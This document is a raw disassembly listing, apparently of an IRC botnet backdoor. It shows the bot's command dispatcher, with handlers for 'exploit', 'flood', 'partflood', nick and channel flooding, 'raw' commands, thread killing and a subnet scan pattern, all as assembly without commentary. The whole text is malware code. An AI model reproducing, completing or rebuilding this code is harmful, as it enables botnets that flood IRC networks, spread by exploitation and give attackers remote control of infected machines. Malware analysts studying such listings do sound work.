; ---------------------------------------------------------------------------
loc_40471E: ; CODE XREF: sub_401ACD+1018j
; sub_401ACD+102Dj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40473E
push esi
call sub_41B779
test ax, ax
pop ecx
jz short loc_40473E
push esi
call sub_41B779
pop ecx
jmp short loc_404744
; ---------------------------------------------------------------------------
loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj
; sub_401ACD+2C66j
mov ax, word_429084
loc_404744: ; CODE XREF: sub_401ACD+2C6Fj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41B980
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B858
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409A72
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B0F6
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset byte_40E503
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_404813
loc_4047FD: ; CODE XREF: sub_401ACD+2D44j
cmp [ebp+var_968], ebx
jnz loc_401E94
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_4047FD
; ---------------------------------------------------------------------------
loc_404813: ; CODE XREF: sub_401ACD+2D2Ej
nop
call near ptr 2670897h
push eax
push offset unk_42B818
jmp loc_402077
; ---------------------------------------------------------------------------
loc_404824: ; CODE XREF: sub_401ACD+FC4j
; sub_401ACD+FD9j ...
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40484C
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
mov [ebp+var_A10], ebx
test eax, eax
pop ecx
jnz short loc_404856
loc_40484C: ; CODE XREF: sub_401ACD+2D66j
mov [ebp+var_A10], 1
loc_404856: ; CODE XREF: sub_401ACD+2D7Dj
push [ebp+var_88]
lea eax, [ebp+var_A94]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A10], ebx
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_A08], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40489D
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40489D: ; CODE XREF: sub_401ACD+2DC9j
push eax
push offset dword_42B7E4
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_419E19
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_404911
loc_4048FB: ; CODE XREF: sub_401ACD+2E42j
cmp [ebp+var_A04], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_4048FB
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+2E2Cj
nop
call near ptr 2670897h
push eax
push offset dword_42B7A8
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_404922: ; CODE XREF: sub_401ACD+F9Aj
; sub_401ACD+FAFj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A6AE
loc_404933: ; CODE XREF: sub_401ACD+2AB8j
; sub_401ACD+2ACEj ...
add esp, 0Ch
jmp loc_409854
; ---------------------------------------------------------------------------
loc_40493B: ; CODE XREF: sub_401ACD+F70j
; sub_401ACD+F85j
push offset unk_42B6F8
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_404945: ; CODE XREF: sub_401ACD+F46j
; sub_401ACD+F5Bj
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42B6E8
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_404954: ; CODE XREF: sub_401ACD+F1Cj
; sub_401ACD+F31j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4049AE
push esi
call sub_41B779
cmp eax, ebx
pop ecx
jl short loc_4049A6
cmp eax, 3
jge short loc_4049A6
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40499E
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C9C4
push eax
call sub_41B886
add esp, 0Ch
mov [esi], bl
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_40499E: ; CODE XREF: sub_401ACD+2EB0j
push eax
push offset unk_42B6BC
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj
; sub_401ACD+2EA0j
push eax
push offset unk_42B690
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049AE: ; CODE XREF: sub_401ACD+2E90j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4049B3: ; CODE XREF: sub_401ACD+2F02j
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4049D6
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4049B3
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42C9C4
loc_4049EB: ; CODE XREF: sub_401ACD+2152j
; sub_401ACD+2ED7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
jmp loc_408288
; ---------------------------------------------------------------------------
loc_4049FC: ; CODE XREF: sub_401ACD+EF2j
; sub_401ACD+F07j
push [ebp+var_8C]
push offset dword_42C938
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4034A5
call sub_40B2BF
push ebx
call near ptr 77E75CB5h
nop
loc_404A22: ; CODE XREF: sub_401ACD+1A11j
push offset aGet ; "get"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404AB0
cmp dword_4CE728, ebx
jz short loc_404A4A
push offset dword_4CE108
loc_404A40: ; CODE XREF: sub_401ACD+2FE1j
push offset unk_42B654
jmp loc_404AE0
; ---------------------------------------------------------------------------
loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
nop
call near ptr 71AB157Eh
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E30]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_E30]
push eax
jmp short loc_404A40
; ---------------------------------------------------------------------------
loc_404AB0: ; CODE XREF: sub_401ACD+2F64j
push esi
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404AC4
push offset unk_42B614
jmp short loc_404AE0
; ---------------------------------------------------------------------------
loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj
push offset dword_4CE108
call sub_41BEB0
pop ecx
mov dword_4CE728, 1
pop ecx
push esi
push offset unk_42B5E8
loc_404AE0: ; CODE XREF: sub_401ACD+2F78j
; sub_401ACD+2FF5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_4034FD
; ---------------------------------------------------------------------------
loc_404AF4: ; CODE XREF: sub_401ACD+19F9j
push edi
push offset aExploit ; "exploit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404BF7
mov eax, [ebp+var_4]
mov esi, offset aF ; "#f"
mov [ebp+var_13E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F4], eax
mov edi, 80h
push esi
lea eax, [ebp+var_1474]
push edi
push eax
mov [ebp+var_13EC], 1
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_14F4]
push esi
push edi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push [ebp+arg_10]
push 10h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B5B0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_13E8], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1504]
push ebx
push eax
push offset byte_40B8A1
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_13E8]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_404BE6
loc_404BD0: ; CODE XREF: sub_401ACD+3117j
cmp [ebp+var_13DC], ebx
jnz loc_40828B
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_404BD0
; ---------------------------------------------------------------------------
loc_404BE6: ; CODE XREF: sub_401ACD+3101j
call near ptr 2670897h
nop
push eax
push offset unk_42B570
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_404BF7: ; CODE XREF: sub_401ACD+3036j
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
push edi
push offset aRin ; "rin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409778
push edi
push offset aRinms ; "rinms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409778
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41C070
mov edi, dword_427078
pop ecx
test eax, eax
pop ecx
jnz loc_4057DE
call near ptr 2680865h
nop
push eax
call sub_41B8D8
push [ebp+arg_10]
push offset aLoad ; "load"
call sub_41C070
add esp, 0Ch
test eax, eax
jnz short loc_404CFD
cmp [ebp+esi+var_80], ebx
jz short loc_404CFD
push [ebp+esi+var_80]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417A5F
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B508
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CFD
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_404CFD: ; CODE XREF: sub_401ACD+31B9j
; sub_401ACD+31BFj ...
push [ebp+arg_10]
push offset dword_42B504
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404D69
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D69
push offset asc_42CA34 ; " "
push offset dword_42B500
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_50F4]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_50F4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4F0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404D69: ; CODE XREF: sub_401ACD+3241j
; sub_401ACD+324Cj
push [ebp+arg_10]
push offset dword_42B4EC
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404DD5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DD5
push offset asc_42CA34 ; " "
push offset dword_42B500
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_4BF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4BF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4D8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404DD5: ; CODE XREF: sub_401ACD+32ADj
; sub_401ACD+32B8j
push [ebp+arg_10]
push offset aNt ; "nt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404E41
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E41
push offset asc_42CA34 ; " "
push offset dword_42B500
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_46EC]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_46EC]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404E41: ; CODE XREF: sub_401ACD+3319j
; sub_401ACD+3324j
push [ebp+arg_10]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EAD
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404EAD
push offset asc_42CA34 ; " "
push offset dword_42B500
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_4DF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4DF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404EAD: ; CODE XREF: sub_401ACD+3385j
; sub_401ACD+3390j
push [ebp+arg_10]
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EEC
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EEC
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404EEC: ; CODE XREF: sub_401ACD+33F1j
; sub_401ACD+33FCj
push [ebp+arg_10]
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F2B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F2B
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404F2B: ; CODE XREF: sub_401ACD+3430j
; sub_401ACD+343Bj
push [ebp+arg_10]
push offset aPartflood ; "partflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F6F
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F6F
push offset aCyber ; "CYBER"
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404F6F: ; CODE XREF: sub_401ACD+346Fj
; sub_401ACD+347Aj
push [ebp+arg_10]
push offset aPnick ; "pnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404FE8
cmp [ebp+esi+var_88], ebx
jz short loc_404FE8
call near ptr 2680865h
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B4]
push edx
push [ebp+esi+var_88]
push offset dword_42B468
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B460
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404FE8: ; CODE XREF: sub_401ACD+34B3j
; sub_401ACD+34BCj
push [ebp+arg_10]
push offset dword_42B454
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405135
cmp [ebp+esi+var_88], ebx
jz loc_405135
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber ; "CYBER"
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405135: ; CODE XREF: sub_401ACD+352Cj
; sub_401ACD+3539j
push [ebp+arg_10]
push offset dword_42B450
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4051CF
cmp [ebp+esi+var_88], ebx
jz short loc_4051CF
call near ptr 2680865h
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B428
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 24h
loc_4051CF: ; CODE XREF: sub_401ACD+3679j
; sub_401ACD+3686j
push [ebp+arg_10]
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4052D1
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_4052D1
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B460
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B460
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B460
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_4052D1: ; CODE XREF: sub_401ACD+3713j
; sub_401ACD+3722j
push [ebp+arg_10]
push offset aChgnick ; "chgnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405318
lea eax, [ebp+var_1808]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_1808]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B460
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_405318: ; CODE XREF: sub_401ACD+3815j
push [ebp+arg_10]
push offset aMsg ; "msg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405407
cmp [ebp+esi+var_88], ebx
jz loc_405407
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+var_88]
push offset dword_42B4F0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4F0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4F0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405407: ; CODE XREF: sub_401ACD+385Cj
; sub_401ACD+3869j
push [ebp+arg_10]
push offset aNotice_0 ; "notice"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4054F6
cmp [ebp+esi+var_88], ebx
jz loc_4054F6
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_4054F6: ; CODE XREF: sub_401ACD+394Bj
; sub_401ACD+3958j
push [ebp+arg_10]
push offset aCtcp ; "ctcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40560D
cmp [ebp+esi+var_88], ebx
jz loc_40560D
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B3E0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B3C8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B3B0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B3B0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj
; sub_401ACD+3A47j
push [ebp+arg_10]
push offset aMix ; "mix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405733
cmp [ebp+esi+var_88], ebx
jz loc_405733
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B3E0
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405733: ; CODE XREF: sub_401ACD+3B51j
; sub_401ACD+3B5Ej
push [ebp+arg_10]
push offset aRegister ; "register"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405779
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_405779
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405779: ; CODE XREF: sub_401ACD+3C77j
; sub_401ACD+3C82j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4062C3
mov edi, offset dword_4D400C
loc_405795: ; CODE XREF: sub_401ACD+3CE7j
cmp dword ptr [edi-4], 1
jnz short loc_4057A8
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057A8
push eax
call dword_4CB00C
loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj
; sub_401ACD+3CD2j
add edi, 210h
cmp edi, offset dword_4DA72C
jl short loc_405795
cmp [ebp+var_8], ebx
jnz loc_4062C3
push ebx
push [ebp+var_4]
push offset unk_42B350
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_4062C3
; ---------------------------------------------------------------------------
loc_4057DE: ; CODE XREF: sub_401ACD+3195j
mov edi, [ebp+arg_8]
push edi
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409758
push edi
push offset aN ; "n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409758
push edi
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409731
push edi
push offset aJ ; "j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409731
push edi
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409711
push edi
push offset aPt ; "pt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409711
push edi
push offset aRaw ; "raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D5
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D5
push edi
push offset aKillthread ; "killthread"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D5
push edi
push offset aK ; "k"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D5
push edi
push offset aC_quit ; "c_quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409527
push edi
push offset aC_q ; "c_q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409527
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D5
push edi
push offset aC_rn ; "c_rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D5
push edi
push offset aPrefix ; "prefix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BC
push edi
push offset aPr ; "pr"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BC
push edi
push offset aOpen ; "open"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948E
push edi
push offset aO ; "o"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948E
push edi
push offset aServer ; "server"
call sub_41C070
pop ecx
test eax, eax
